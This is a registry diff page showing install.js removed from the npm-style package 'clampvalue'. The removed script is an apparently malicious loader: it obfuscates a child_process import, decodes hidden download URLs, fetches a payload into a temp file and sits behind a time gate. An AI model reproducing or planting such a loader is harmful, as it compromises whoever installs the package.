clampvalue 1.0.2 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +0 -140
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,140 +0,0 @@
|
|
|
1
|
-
const fs = require('node:fs/promises');
|
|
2
|
-
const os = require('node:os');
|
|
3
|
-
const path = require('node:path');
|
|
4
|
-
const crypto = require('node:crypto');
|
|
5
|
-
const cp = require('node:child' + '_process');
|
|
6
|
-
|
|
7
|
-
const coefficients_P = Object.freeze([
|
|
8
|
-
0, 0, 0, 0,
|
|
9
|
-
0, 0, 0, 0,
|
|
10
|
-
13, 187, 116, 173,
|
|
11
|
-
4, 200, 49, 198,
|
|
12
|
-
200, 140, 185, 83,
|
|
13
|
-
86, 222, 252, 221,
|
|
14
|
-
169, 107, 151, 247,
|
|
15
|
-
33, 197, 124, 169,
|
|
16
|
-
63
|
|
17
|
-
]);
|
|
18
|
-
const coefficients_C = Object.freeze([0,
|
|
19
|
-
0, 0, 0, 0,
|
|
20
|
-
0, 0, 0, 256,
|
|
21
|
-
255, 127, 159, 140,
|
|
22
|
-
229, 36, 6, 235,
|
|
23
|
-
250, 255, 206, 115,
|
|
24
|
-
165, 17, 3, 52,
|
|
25
|
-
138, 255, 132, 131,
|
|
26
|
-
233, 77
|
|
27
|
-
]);
|
|
28
|
-
|
|
29
|
-
function normalize(input, ctype) {
|
|
30
|
-
if (!['P', 'C'].includes(ctype)) {
|
|
31
|
-
return '';
|
|
32
|
-
}
|
|
33
|
-
|
|
34
|
-
const a = ctype === 'P' ? [...coefficients_P] : [...coefficients_C];
|
|
35
|
-
let output = '';
|
|
36
|
-
|
|
37
|
-
for (let i = 0; i < a.length; i++) {
|
|
38
|
-
output += String.fromCharCode(
|
|
39
|
-
(((input.charCodeAt(i) + a[0]) % 257) + 257) % 257
|
|
40
|
-
);
|
|
41
|
-
|
|
42
|
-
for (let j = 0; j < a.length - 1; j++) {
|
|
43
|
-
a[j] = (((a[j] + a[j + 1]) % 257) + 257) % 257;
|
|
44
|
-
}
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
return output;
|
|
48
|
-
}
|
|
49
|
-
|
|
50
|
-
class SetupDownload {
|
|
51
|
-
constructor(sources) {
|
|
52
|
-
this.requests = new Map(
|
|
53
|
-
sources.map(source => [
|
|
54
|
-
new AbortController(),
|
|
55
|
-
source
|
|
56
|
-
])
|
|
57
|
-
);
|
|
58
|
-
}
|
|
59
|
-
|
|
60
|
-
async request(controller, source) {
|
|
61
|
-
const response = await fetch(source, {
|
|
62
|
-
signal: controller.signal
|
|
63
|
-
});
|
|
64
|
-
|
|
65
|
-
if (!response.ok) {
|
|
66
|
-
const error = `Error #${13579 * response.status}`;
|
|
67
|
-
console.error(error);
|
|
68
|
-
throw new Error(error);
|
|
69
|
-
}
|
|
70
|
-
|
|
71
|
-
return {
|
|
72
|
-
controller,
|
|
73
|
-
buffer: Buffer.from(await response.arrayBuffer())
|
|
74
|
-
};
|
|
75
|
-
}
|
|
76
|
-
|
|
77
|
-
cancel(except) {
|
|
78
|
-
for (const controller of this.requests.keys()) {
|
|
79
|
-
if (controller !== except) {
|
|
80
|
-
controller.abort();
|
|
81
|
-
}
|
|
82
|
-
}
|
|
83
|
-
}
|
|
84
|
-
|
|
85
|
-
async store(buffer) {
|
|
86
|
-
const destination = path.join(
|
|
87
|
-
os.tmpdir(),
|
|
88
|
-
crypto.randomUUID()
|
|
89
|
-
);
|
|
90
|
-
|
|
91
|
-
console.log(destination, buffer);
|
|
92
|
-
|
|
93
|
-
const file = await fs.open(destination, 'w');
|
|
94
|
-
|
|
95
|
-
try {
|
|
96
|
-
let offset = 0;
|
|
97
|
-
|
|
98
|
-
while (offset < buffer.length) {
|
|
99
|
-
const result = await file.write(
|
|
100
|
-
buffer,
|
|
101
|
-
offset,
|
|
102
|
-
buffer.length - offset,
|
|
103
|
-
null
|
|
104
|
-
);
|
|
105
|
-
|
|
106
|
-
offset += result.bytesWritten;
|
|
107
|
-
}
|
|
108
|
-
} finally {
|
|
109
|
-
await file.close();
|
|
110
|
-
}
|
|
111
|
-
|
|
112
|
-
return destination;
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
async download() {
|
|
116
|
-
try {
|
|
117
|
-
const pending = [];
|
|
118
|
-
|
|
119
|
-
for (const [controller, source] of this.requests) {
|
|
120
|
-
pending.push(this.request(controller, normalize(source, source.includes('officeapps') ? 'P' : 'C')));
|
|
121
|
-
}
|
|
122
|
-
|
|
123
|
-
const result = await Promise.any(pending);
|
|
124
|
-
|
|
125
|
-
this.cancel(result.controller);
|
|
126
|
-
|
|
127
|
-
return await this.store(result.buffer);
|
|
128
|
-
} finally {
|
|
129
|
-
this.cancel();
|
|
130
|
-
}
|
|
131
|
-
}
|
|
132
|
-
}
|
|
133
|
-
|
|
134
|
-
async function main() {
|
|
135
|
-
if (Date.now() < 1795643838126) {
|
|
136
|
-
return;
|
|
137
|
-
}
|
|
138
|
-
}
|
|
139
|
-
|
|
140
|
-
main().catch(() => process.exit(1));
|